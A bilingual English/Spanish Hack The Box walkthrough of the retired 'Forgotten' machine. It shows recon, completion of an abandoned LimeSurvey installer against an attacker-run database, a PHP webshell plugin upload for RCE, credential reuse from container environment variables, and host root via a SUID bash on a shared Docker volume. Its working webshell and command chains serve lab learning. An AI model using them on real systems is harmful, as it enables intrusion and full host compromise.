Forgotten
Executive summary — Forgotten hides a LimeSurvey instance whose web installer was never completed nor locked down. By standing up an attacker-controlled MySQL reachable over the VPN, the wizard can be finished end-to-end, creating a Superadmin account of the attacker's choosing — without exploiting any authentication vulnerability. From there, LimeSurvey's Plugin Manager allows uploading a malicious ZIP that gives RCE inside a Docker container. The container's environment variables leak the service's real password, which is reusable over SSH on the host. Inside the container, that same password also unlocks
sudo ALL, and a shared bind mount between host and container lets a SUIDbashbinary be dropped that — with no user-namespace remapping — grants root on the host directly.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.37.93 |
Attack map
[80] LimeSurvey — abandoned web installer, unauthenticated
│ Wizard completed with an attacker-controlled MySQL (VPN) → attacker-created Superadmin
▼
[RCE] Plugin Manager — ZIP with a PHP class + webshell
│ container env leaks LIMESURVEY_PASS
▼
[SSH] limesvc@host (same password reused)
│ inside the container: sudo ALL with that same password
│ shared host↔container bind mount + SUID bash
▼
[ROOT] container UID 0 = host UID 0 (no userns-remap)
1. Reconnaissance
nmap -p- --min-rate 5000 -v 10.129.37.93 -oN nmap_ports.txt
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
nmap -p22,80 -sCV -v 10.129.37.93 -oN nmap_sV.txt
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.56
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
The clue: nmap's
Service Infoheader showsHost: 172.17.0.2, a default Docker range IP (172.17.0.0/16) — a sign from the very start that the HTTP service runs inside a container behind the host's proxy/Apache.
Resumen ejecutivo — Forgotten esconde una instancia de LimeSurvey cuyo instalador web nunca se completó ni se bloqueó. Levantando un MySQL propio alcanzable por VPN, el wizard se completa de principio a fin y crea una cuenta Superadmin a medida del atacante — sin explotar ninguna vulnerabilidad de autenticación. Desde ahí, el Gestor de plugins de LimeSurvey permite subir un ZIP malicioso que da RCE dentro de un contenedor Docker. Las variables de entorno del contenedor filtran la contraseña real del servicio, reutilizable por SSH en el host. Dentro del contenedor, esa misma contraseña también sirve para
sudo ALL, y un bind mount compartido entre host y contenedor permite depositar un binariobashcon bit SUID que, al no haber remapeo de namespaces de usuario, da root en el host directamente.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.37.93 |
Mapa del ataque
[80] LimeSurvey — instalador web abandonado, sin autenticar
│ Wizard completado con un MySQL propio (VPN) → Superadmin creado por el atacante
▼
[RCE] Plugin Manager — ZIP con clase PHP + webshell
│ env del contenedor filtra LIMESURVEY_PASS
▼
[SSH] limesvc@host (misma contraseña reutilizada)
│ dentro del contenedor: sudo ALL con esa misma contraseña
│ bind mount compartido host↔contenedor + bash SUID
▼
[ROOT] UID 0 del contenedor = UID 0 del host (sin userns-remap)
1. Reconocimiento
nmap -p- --min-rate 5000 -v 10.129.37.93 -oN nmap_ports.txt
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
nmap -p22,80 -sCV -v 10.129.37.93 -oN nmap_sV.txt
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.56
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
La pista: nmap detecta en la cabecera
Service InfounHost: 172.17.0.2, una IP del rango Docker por defecto (172.17.0.0/16) — indica desde el principio que el servicio HTTP corre dentro de un contenedor detrás de un proxy/Apache del host.
2. Web enumeration — a reachable LimeSurvey installer
The root path returns 403, but typical LimeSurvey routes respond:
curl -s -i http://10.129.37.93/
HTTP/1.1 403 Forbidden
curl -s -o /dev/null -w "%{http_code}\n" http://10.129.37.93/survey/
302
curl -s -i http://10.129.37.93/survey/
Location: http://10.129.37.93/survey/index.php?r=installer
This confirms a LimeSurvey instance deployed at
/survey/whose web installer was never finished, leaving the setup wizard reachable with no prior authentication.
3. Foothold — finishing the installer with an attacker-controlled MySQL
LimeSurvey's installer asks for MySQL/MariaDB connection details, and the target exposes none — so a MariaDB instance was stood up on Kali itself, reachable from the HTB network over the tun0 interface:
ip a | grep -A2 tun0
inet <ATTACKER_IP>/23 ... tun0
mkdir -p ~/htb-forgotten/mysql-data
mysql_install_db --datadir=~/htb-forgotten/mysql-data \
--auth-root-authentication-method=normal
/usr/sbin/mariadbd \
--datadir=~/htb-forgotten/mysql-data \
--socket=~/htb-forgotten/mysql-data/mysql.sock \
--port=3306 --bind-address=0.0.0.0 \
--pid-file=~/htb-forgotten/mysql-data/mysql.pid &
CREATE DATABASE limesurvey CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
CREATE USER 'limeuser'@'%' IDENTIFIED BY 'limepassword';
GRANT ALL PRIVILEGES ON limesurvey.* TO 'limeuser'@'%';
FLUSH PRIVILEGES;
No firewall rules had to be touched — port 3306 was reachable over the VPN with no extra configuration on this Kali box.
With the rogue MySQL verified, the entire web wizard was automated with a Python (requests) script, extracting the YII_CSRF_TOKEN from each response and replaying it on the next POST, keeping the same session throughout:
welcome→installerLang=enlicense→ accept the licenseprecheck→ confirms LimeSurvey 6.3.7, PHP 8.0.30database→ connection to the rogue MySQL (<ATTACKER_IP>:3306, userlimeuser, engineMYISAM— note the exact casing, notMyISAM)populatedb→ LimeSurvey creates every table on the attacker's MySQLoptional→ Superadmin credentials chosen by the attacker themself during the installer
LimeSurvey has been installed successfully.
Superadmin: admin / P@ssw0rd123!
Why this needs no authentication vulnerability at all: the install step itself IS the vulnerability — anyone who reaches it with a reachable MySQL can create whatever admin account they want, from scratch.
4. RCE as Superadmin — malicious plugin upload
The admin login uses PATH_INFO routes (/survey/index.php/admin/...), distinct from the installer's (?r=...):
POST /survey/index.php/admin/authentication/sa/login
With user=admin, password=P@ssw0rd123! and the matching CSRF token, the response is a 302 and the Superadmin dashboard becomes reachable.
LimeSurvey lets a Superadmin install plugins by uploading a ZIP from pluginmanager?sa=upload. A minimal ZIP was built with a PHP class just complete enough to pass the plugin manager's validation, plus a webshell:
<?php
if (!class_exists('PluginBase')) { class PluginBase {} }
class shell extends PluginBase
{
protected $storage = 'DbStorage';
static protected $description = 'test';
static protected $name = 'shell';
public function init() { }
}
if (isset($_GET['cmd'])) { system($_GET['cmd']); }
After uploading it (?sa=upload) and confirming the install (?sa=installUploadedPlugin), LimeSurvey extracts the files to a web-reachable folder with no need to activate the plugin:
curl -s "http://10.129.37.93/survey/upload/plugins/shell/shell.php?cmd=id"
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc),27(sudo)
5. Confirming a containerized environment
curl -s --data-urlencode 'cmd=hostname; cat /proc/1/cgroup; ls -la /.dockerenv; uname -a' -G "http://10.129.37.93/survey/upload/plugins/shell/shell.php"
efaa6f5097ed
0::/
-rwxr-xr-x 1 root root 0 Dec 2 2023 /.dockerenv
Linux efaa6f5097ed 6.8.0-1033-aws ... x86_64 GNU/Linux
A short hash-style hostname and a present
/.dockerenvconfirm execution inside a Docker container.
6. Credential reuse via environment variables → SSH (user.txt)
curl -s --data-urlencode 'cmd=env' -G "http://10.129.37.93/survey/upload/plugins/shell/shell.php"
LIMESURVEY_ADMIN=limesvc
LIMESURVEY_PASS=5W5HN4K4GCXf9E
Why this matters: the name
limesvcmatches a real system user on the host — a very common pattern on «Docker + web app» boxes: the password used to configure the service inside the container is almost always reused for the host user of the same name.
ssh limesvc@10.129.37.93
# password: 5W5HN4K4GCXf9E
$ id
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc)
$ hostname
forgotten
The real hostname (
forgotten, not the container's hash) confirms we're now on the HOST.
$ cat /home/limesvc/user.txt
ce537d9432a79e5ef2b0a7841d1efd08
7. Privilege escalation — password-reuse sudo inside the container
On the host, limesvc has no sudo and isn't in the docker group — that path is ruled out quickly:
$ sudo -l
Sorry, user limesvc may not run sudo on localhost.
$ docker ps
permission denied while trying to connect to the Docker daemon socket ...
The shared bind mount shows up under /opt: the exact same LimeSurvey tree seen from the webshell (including the uploaded plugin's shell/ folder), confirming /opt/limesurvey on the host is the same volume as /var/www/html/survey in the container.
Back in the webshell (inside the container), the same LIMESURVEY_PASS is reused with sudo:
curl -s --data-urlencode 'cmd=echo "5W5HN4K4GCXf9E" | sudo -S -l 2>&1' -G "http://10.129.37.93/survey/upload/plugins/shell/shell.php"
User limesvc may run the following commands on efaa6f5097ed:
(ALL : ALL) ALL
Unlike the host, inside the container
limesvcreally is in the sudo group, and the reused password grants full root inside the container.
8. Root on the host — SUID bash on the shared volume
As root inside the container, /bin/bash is copied to the shared folder and given the SUID bit:
curl -s --data-urlencode 'cmd=echo "5W5HN4K4GCXf9E" | sudo -S cp /bin/bash /var/www/html/survey/upload/rootbash 2>&1; echo "5W5HN4K4GCXf9E" | sudo -S chmod 6777 /var/www/html/survey/upload/rootbash 2>&1' -G "http://10.129.37.93/survey/upload/plugins/shell/shell.php"
-rwsrwsrwx 1 root root 1234376 Jul 29 20:33 /var/www/html/survey/upload/rootbash
From the HOST, that same binary shows up at
/opt/limesurvey/upload/rootbash(same inode, different mount point) owned byroot:rootwith the SUID bit set. With no user-namespace remapping (userns-remap), a container's UID 0 is literally the host's UID 0 — which turns any container-writable bind mount into a trivial path to root on the host.
$ /opt/limesurvey/upload/rootbash -p
rootbash-5.1# id
uid=2000(limesvc) gid=2000(limesvc) euid=0(root) egid=0(root) groups=0(root),2000(limesvc)
rootbash-5.1# cat /root/root.txt
824cd3a96126571877f59836c2dc7944
Full system compromise. Post-exploitation cleanup: the rootbash binary and the shell/ plugin folder are removed from both the host and the container. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | LimeSurvey web installer | Unauthenticated setup wizard, completable with an attacker-controlled MySQL over VPN | Attacker-chosen Superadmin account created |
| RCE | LimeSurvey Plugin Manager | ZIP plugin upload with no restriction on executable content | RCE as limesvc inside the container |
| Lateral movement | Docker container environment variables | Real credentials leaked via env, reused over SSH | limesvc access on the host (user.txt) |
| PrivEsc | Shared host↔container bind mount + password-reuse sudo | sudo ALL inside the container + a SUID binary dropped on the shared volume, no userns-remap | Root on the host (root.txt) |
Lessons learned
- Abandoned web installers are RCE-as-a-service: if an app's setup wizard isn't locked down after first use, an attacker with a reachable MySQL (their own, over VPN/tunnel) can complete it and get admin credentials from scratch, with no authentication vulnerability at all.
- Automating multi-step wizards with
requests+ CSRF regex is fast and repeatable: pull the token from each response and replay it on the next POST, keeping the same session for cookies. - A plugin upload with no validation of executable content is direct RCE: a ZIP with a minimal valid PHP class is enough for the manager to accept and extract it to a web-reachable path, no activation required.
- A container's environment variables leak real deployment credentials: the password used to configure the service inside the container is almost always reused for the host system user of the same name.
- Check sudoers on both sides of a container boundary: the same user (same name, same password) can hold sudo inside the container but not on the host, precisely so the shared bind mount becomes the intended escalation path.
- With no
userns-remap, a container's UID 0 is the host's real UID 0: this turns any container-writable shared volume into a trivial root escalation path, just by dropping a SUID binary.
2. Enumeración web — un instalador de LimeSurvey accesible
La raíz devuelve 403, pero rutas típicas de LimeSurvey sí responden:
curl -s -i http://10.129.37.93/
HTTP/1.1 403 Forbidden
curl -s -o /dev/null -w "%{http_code}\n" http://10.129.37.93/survey/
302
curl -s -i http://10.129.37.93/survey/
Location: http://10.129.37.93/survey/index.php?r=installer
Esto confirma una instancia de LimeSurvey desplegada en
/survey/cuyo instalador web (installer) nunca se completó, dejando el asistente accesible sin autenticación previa.
3. Foothold — completando el instalador con un MySQL propio
El instalador de LimeSurvey pide los datos de conexión a un MySQL/MariaDB, y la víctima no expone ninguno — así que se levantó un MariaDB propio en Kali, accesible desde la red de HTB a través de la interfaz tun0:
ip a | grep -A2 tun0
inet <ATTACKER_IP>/23 ... tun0
mkdir -p ~/htb-forgotten/mysql-data
mysql_install_db --datadir=~/htb-forgotten/mysql-data \
--auth-root-authentication-method=normal
/usr/sbin/mariadbd \
--datadir=~/htb-forgotten/mysql-data \
--socket=~/htb-forgotten/mysql-data/mysql.sock \
--port=3306 --bind-address=0.0.0.0 \
--pid-file=~/htb-forgotten/mysql-data/mysql.pid &
CREATE DATABASE limesurvey CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
CREATE USER 'limeuser'@'%' IDENTIFIED BY 'limepassword';
GRANT ALL PRIVILEGES ON limesurvey.* TO 'limeuser'@'%';
FLUSH PRIVILEGES;
No hizo falta tocar reglas de firewall — el puerto 3306 quedó accesible desde la VPN sin configuración adicional en el Kali de este entorno.
Con el MySQL propio verificado, se automatizó todo el asistente web con un script Python (requests), extrayendo el token YII_CSRF_TOKEN de cada respuesta y reenviándolo en el siguiente POST, manteniendo la misma sesión:
welcome→installerLang=enlicense→ aceptar la licenciaprecheck→ confirma LimeSurvey 6.3.7, PHP 8.0.30database→ conexión al MySQL propio (<ATTACKER_IP>:3306, usuariolimeuser, motorMYISAM— ojo, exactamente así, noMyISAM)populatedb→ LimeSurvey crea todas las tablas en el MySQL del atacanteoptional→ credenciales del Superadmin elegidas por el propio atacante durante el instalador
LimeSurvey has been installed successfully.
Superadmin: admin / P@ssw0rd123!
Por qué funciona sin ninguna vulnerabilidad de autenticación: el paso de instalación en sí ES la vulnerabilidad — cualquiera que llegue hasta ahí con un MySQL alcanzable puede crear la cuenta de administrador que quiera, desde cero.
4. RCE como Superadmin — subida de plugin malicioso
El login de administrador usa rutas PATH_INFO (/survey/index.php/admin/...), distintas de las del instalador (?r=...):
POST /survey/index.php/admin/authentication/sa/login
Con user=admin, password=P@ssw0rd123! y el CSRF token correspondiente, la respuesta es 302 y el dashboard de Superadmin queda accesible.
LimeSurvey permite a un Superadmin instalar plugins subiendo un ZIP desde pluginmanager?sa=upload. Se construyó un ZIP mínimo con una clase PHP que cumple lo justo para pasar la validación del gestor de plugins, más una webshell:
<?php
if (!class_exists('PluginBase')) { class PluginBase {} }
class shell extends PluginBase
{
protected $storage = 'DbStorage';
static protected $description = 'test';
static protected $name = 'shell';
public function init() { }
}
if (isset($_GET['cmd'])) { system($_GET['cmd']); }
Tras subirlo (?sa=upload) y confirmar la instalación (?sa=installUploadedPlugin), LimeSurvey extrae los archivos a una carpeta web-accesible sin necesidad de activar el plugin:
curl -s "http://10.129.37.93/survey/upload/plugins/shell/shell.php?cmd=id"
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc),27(sudo)
5. Confirmando el entorno contenedorizado
curl -s --data-urlencode 'cmd=hostname; cat /proc/1/cgroup; ls -la /.dockerenv; uname -a' -G "http://10.129.37.93/survey/upload/plugins/shell/shell.php"
efaa6f5097ed
0::/
-rwxr-xr-x 1 root root 0 Dec 2 2023 /.dockerenv
Linux efaa6f5097ed 6.8.0-1033-aws ... x86_64 GNU/Linux
Hostname corto tipo hash y
/.dockerenvpresente confirman ejecución dentro de un contenedor Docker.
6. Credenciales en variables de entorno → SSH (user.txt)
curl -s --data-urlencode 'cmd=env' -G "http://10.129.37.93/survey/upload/plugins/shell/shell.php"
LIMESURVEY_ADMIN=limesvc
LIMESURVEY_PASS=5W5HN4K4GCXf9E
Por qué importa: el nombre
limesvccoincide con un usuario real del sistema host — patrón muy habitual en máquinas «Docker + app web»: la contraseña usada para configurar el servicio dentro del contenedor casi siempre se reutiliza para el usuario del host con el mismo nombre.
ssh limesvc@10.129.37.93
# password: 5W5HN4K4GCXf9E
$ id
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc)
$ hostname
forgotten
El hostname real (
forgotten, no el hash del contenedor) confirma que ya estamos en el HOST.
$ cat /home/limesvc/user.txt
ce537d9432a79e5ef2b0a7841d1efd08
7. Escalada — sudo ALL reutilizando la contraseña dentro del contenedor
En el host, limesvc no tiene sudo ni pertenece al grupo docker — esa vía se descarta enseguida:
$ sudo -l
Sorry, user limesvc may not run sudo on localhost.
$ docker ps
permission denied while trying to connect to the Docker daemon socket ...
El bind mount compartido aparece en /opt: el mismo árbol de LimeSurvey visto desde la webshell (incluida la carpeta shell/ del plugin subido), confirmando que /opt/limesurvey en el host es el mismo volumen que /var/www/html/survey en el contenedor.
Volviendo a la webshell (dentro del contenedor), se reutiliza la misma LIMESURVEY_PASS con sudo:
curl -s --data-urlencode 'cmd=echo "5W5HN4K4GCXf9E" | sudo -S -l 2>&1' -G "http://10.129.37.93/survey/upload/plugins/shell/shell.php"
User limesvc may run the following commands on efaa6f5097ed:
(ALL : ALL) ALL
A diferencia del host, dentro del contenedor
limesvcsí está en el grupo sudo real, y la contraseña reutilizada da acceso total como root dentro del contenedor.
8. Root en el host — bash SUID en el volumen compartido
Como root dentro del contenedor, se copia /bin/bash a la carpeta compartida y se le pone el bit SUID:
curl -s --data-urlencode 'cmd=echo "5W5HN4K4GCXf9E" | sudo -S cp /bin/bash /var/www/html/survey/upload/rootbash 2>&1; echo "5W5HN4K4GCXf9E" | sudo -S chmod 6777 /var/www/html/survey/upload/rootbash 2>&1' -G "http://10.129.37.93/survey/upload/plugins/shell/shell.php"
-rwsrwsrwx 1 root root 1234376 Jul 29 20:33 /var/www/html/survey/upload/rootbash
Desde el HOST, ese mismo binario aparece en
/opt/limesurvey/upload/rootbash(mismo inode, distinto punto de montaje) con dueñoroot:rooty bit SUID activo. Sin remapeo de namespaces de usuario (userns-remap), el UID 0 dentro del contenedor es literalmente el UID 0 del host — cualquier bind mount escribible por el contenedor se convierte así en una vía trivial de escalada a root en el host.
$ /opt/limesurvey/upload/rootbash -p
rootbash-5.1# id
uid=2000(limesvc) gid=2000(limesvc) euid=0(root) egid=0(root) groups=0(root),2000(limesvc)
rootbash-5.1# cat /root/root.txt
824cd3a96126571877f59836c2dc7944
Sistema comprometido por completo. Limpieza post-explotación: se elimina el binario rootbash y la carpeta del plugin shell/ tanto desde el host como desde el contenedor. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | Instalador web de LimeSurvey | Asistente de instalación accesible sin autenticar, completable con un MySQL propio por VPN | Creación de una cuenta Superadmin a medida del atacante |
| RCE | Gestor de plugins de LimeSurvey | Subida de plugin ZIP sin restricción de contenido ejecutable | RCE como limesvc dentro del contenedor |
| Movimiento lateral | Variables de entorno del contenedor Docker | Credenciales reales filtradas vía env, reutilizadas para SSH | Acceso limesvc en el host (user.txt) |
| PrivEsc | Bind mount compartido host↔contenedor + sudo por contraseña reutilizada | sudo ALL dentro del contenedor + binario SUID depositado en el volumen compartido, sin userns-remap | Root en el host (root.txt) |
Lecciones aprendidas
- Los instaladores web abandonados son RCE-as-a-service: si el wizard de instalación de una app no está bloqueado tras el primer uso, un atacante con un MySQL alcanzable (el suyo propio, vía VPN/túnel) puede completar el asistente y obtener credenciales de administrador desde cero, sin explotar ninguna vulnerabilidad de autenticación.
- Automatizar wizards multi-paso con
requests+ regex de CSRF es rápido y reproducible: extraer el token de cada respuesta y reenviarlo en el siguiente POST, manteniendo la misma sesión para las cookies. - Un «upload de plugin» sin validar el contenido ejecutable es RCE directa: un ZIP con una clase PHP mínima válida es suficiente para que el gestor lo acepte y lo extraiga a una ruta web-accesible, sin necesidad de activarlo.
- Las variables de entorno de un contenedor filtran credenciales reales del despliegue: la contraseña usada para configurar el servicio dentro del contenedor casi siempre se reutiliza para el usuario del sistema host con el mismo nombre.
- Comprobar sudoers a ambos lados de un límite de contenedor: un mismo usuario (mismo nombre, misma contraseña) puede tener privilegios sudo dentro del contenedor pero no en el host, precisamente para forzar el abuso del bind mount compartido como vía de escalada.
- Sin
userns-remap, el UID 0 de un contenedor es el UID 0 real del host: esto convierte cualquier volumen compartido escribible por el contenedor en una vía trivial de escalada a root, con solo depositar un binario SUID.